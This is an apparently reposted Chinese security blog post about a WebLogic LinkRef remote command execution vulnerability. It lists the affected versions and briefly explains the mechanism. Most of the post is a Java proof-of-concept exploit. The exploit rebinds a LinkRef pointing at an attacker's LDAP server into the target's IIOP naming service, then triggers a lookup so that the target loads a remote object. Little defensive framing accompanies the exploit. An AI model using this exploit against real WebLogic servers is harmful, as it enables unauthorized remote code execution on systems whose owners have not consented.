Weblogic LinkRef 远程命令执行漏洞

admin 2023年1月18日21:29:21评论166 views字数 1227阅读4分5秒阅读模式

Weblogic LinkRef 远程命令执行漏洞

0x00 简介:

Oracle WebLogic Server 是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用。

0x01 漏洞详情:

产品:Weblogic

影响版本:10.3.6.0、12.1.3.0、12.2.1.0、12.2.1.2.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0 及截止到2022年8月最新版本

执行weblogic中的bind之后,Object是注册到T3/IIOP的服务里面,执行lookup则会调用resolveObject函数来处读取注册的Object,处理调用WLNamingManager.getObjectInstance函数来根据注册的object来读取。

poc:

public static void main(String[] args) throws Exception {LinkRef linkRef = new LinkRef("ldap://xxxxxx:xxx/Poc");Context context = getContext("iiop://xxxxxx:7001");context.rebind("cccc", linkRef);context.lookup("cccc");
}
/** * 获取连接上下文 * * @param url 连接字符串 * @return 连接成功响应内容 * @throws Exception 失败抛出异常 */ public static Context getContext(String url) throws Exception { if (url.startsWith("iiop")) { Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", url); return new InitialContext(env); } else if (url.startsWith("t3")) { Environment environment = new Environment(); environment.setProviderUrl(url); environment.setEnableServerAffinity(false);// environment.setSSLClientTrustManager(new WeblogicTrustManager()); return environment.getInitialContext(); } return null; }

Weblogic LinkRef 远程命令执行漏洞

原文始发于微信公众号(开普勒安全团队):Weblogic LinkRef 远程命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月18日21:29:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic LinkRef 远程命令执行漏洞http://cn-sec.com/archives/1520423.html

发表评论

匿名网友 填写信息